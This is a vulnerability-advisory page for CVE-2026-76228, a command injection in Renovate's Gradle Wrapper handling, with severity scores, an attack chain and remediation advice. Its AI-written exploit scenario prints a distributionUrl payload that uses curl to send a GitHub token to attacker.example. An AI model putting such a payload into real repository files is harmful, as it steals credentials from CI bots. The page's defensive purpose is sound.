Skip to main content

Renovate CVE-2026-76228

| EUVDEUVD-2026-62469 HIGH
OS Command Injection (CWE-78)
2026-08-19 VulnCheck GHSA-mqp7-cg7m-4hhq
Command Injection Renovate Red Hat
8.4
CVSS 4.0 · Vendor: VulnCheck
Share

Severity by source

Vendor (VulnCheck) PRIMARY
8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.8 HIGH

Attacker delivers payload via remote git push (AV:N); only repository write access is needed (PR:L); Renovate processes it automatically with no user interaction (UI:N).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat
6.7 MEDIUM
qualitative

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Local
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
X

Lifecycle Timeline

4
Patch available
Aug 19, 2026 - 15:17 EUVD
Source Code Evidence Fetched
Aug 19, 2026 - 14:47 vuln.today
Analysis Generated
Aug 19, 2026 - 14:47 vuln.today
CVE Published
Aug 19, 2026 - 14:02 cve.org
HIGH 8.4

DescriptionCVE.org

Renovate versions >=32.124.0 and before 42.68.5 (and Mend renovate-ce/renovate-ee before 13.3.0) contain a command injection vulnerability in Gradle Wrapper artifact handling. When Renovate processes Gradle Wrapper updates, it invokes a wrapper update command via a shell (e.g. /bin/sh -c ... ./gradlew :wrapper --gradle-distribution-url <value>). If an attacker supplies a malicious gradle-wrapper.properties whose distributionUrl contains shell command substitution syntax such as $(...), the shell evaluates it before Gradle parses the URL, resulting in arbitrary command execution in the Renovate runtime. Exploitation requires the attacker to introduce the malicious file into a repository that Renovate scans; the issue occurs even when allowScripts is disabled.

AnalysisAI

Command injection in Renovate's Gradle Wrapper update mechanism allows arbitrary code execution inside the Renovate runtime when the tool processes a repository containing a malicious gradle-wrapper.properties. Versions >= 32.124.0 and < 42.68.5 of renovatebot/renovate (and Mend renovate-ce/renovate-ee before 13.3.0) are affected whenever Renovate performs Gradle Wrapper artifact handling. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Obtain repository write access or social-engineer a merge
Delivery
Craft gradle-wrapper.properties with shell substitution payload in distributionUrl
Exploit
Push malicious file to repository monitored by Renovate
Install
Renovate Gradle Wrapper manager processes the file via /bin/sh
C2
Shell evaluates $(...) payload before Gradle parses the URL
Execute
Arbitrary commands execute as the Renovate process
Impact
Exfiltrate tokens and credentials or pivot to internal resources
Sign in to reveal

Vulnerability AssessmentAI

Exploitation The attacker must introduce a malicious `gradle/wrapper/gradle-wrapper.properties` file into a repository that the vulnerable Renovate instance is configured to scan. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The official CVSS 4.0 base score of 8.4 (AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H) assigns high privilege requirements and a local attack vector, reflecting the assessors' view that the attacker must hold repository write access and that exploitation occurs within the local Renovate execution environment. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with write access to a repository monitored by a vulnerable Renovate instance modifies `gradle/wrapper/gradle-wrapper.properties` to set `distributionUrl=https://$(curl -s https://attacker.example/exfil?t=$(cat /run/secrets/github_token))` or a similar payload. When Renovate's scheduled scan next runs and invokes the Gradle Wrapper manager, `/bin/sh` expands the `$(...)` substitution before passing the URL to Gradle, executing the curl command in the Renovate process context and exfiltrating the bot's GitHub token to the attacker's server; Gradle then raises `URISyntaxException` on the resulting garbled URL, but the damage is already done. …
Remediation Upgrade renovatebot/renovate to version 42.68.5 or later, released 2025-12-31, which resolves the shell injection by eliminating the unsafe shell interpolation of the `distributionUrl` value during Gradle Wrapper artifact handling; this fix version is confirmed by the GHSA advisory at https://github.com/renovatebot/renovate/security/advisories/GHSA-pfq2-hh62-7m96. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Recommended ActionAI

Within 24 hours, inventory all Renovate deployments and identify which versions fall within the affected range (renovatebot/renovate 32.124.0-42.68.4, Mend CE/EE before 13.3.0); segregate instances processing untrusted repositories and document all CI/CD credentials accessible to Renovate. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Renovate

View all
CVE-2026-76231 HIGH
8.4 Aug 19

Command injection in Renovate's hermit manager (versions 32.135.0 through 40.33.0) allows an attacker with repository wr
CVE-2026-76232 HIGH
8.4 Aug 19

Command injection in Renovate's helmv3 manager (versions 31.51.0 through 40.32.x) allows repository contributors with wr
CVE-2026-76230 HIGH
8.4 Aug 19

Command injection in Renovate's npm manager (versions 35.63.0 through 40.33.0) allows attackers with repository write ac
CVE-2026-76229 HIGH
8.4 Aug 19

Command injection in Renovate's kustomize manager (versions 39.218.0 through 40.33.0) allows repository contributors wit
CVE-2026-76233 HIGH
8.4 Aug 19

Command injection in Renovate's gleam manager (versions 39.53.0 through 40.33.0 exclusive) allows attackers with reposit
CVE-2026-76226 MEDIUM
6.8 Aug 19

Remote code execution in Renovate's bazel-module and bazelisk managers exposes self-hosted instances running versions 43
CVE-2026-76227 MEDIUM
6.8 Aug 19

Environment variable exposure in Renovate (versions 42.68.1 through 42.96.3 and 43.0.0 through 43.4.4) leaks the full pr

Same weakness CWE-78 – OS Command Injection

View all
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8
CVE-2014-6278 HIGH POC
8.8
CVE-2017-6334 HIGH POC
8.8
CVE-2024-50603 CRITICAL POC
10.0
CVE-2024-9474 MEDIUM POC
6.9

Same technique Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8

Vendor StatusVendor

Share

CVE-2026-76228 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy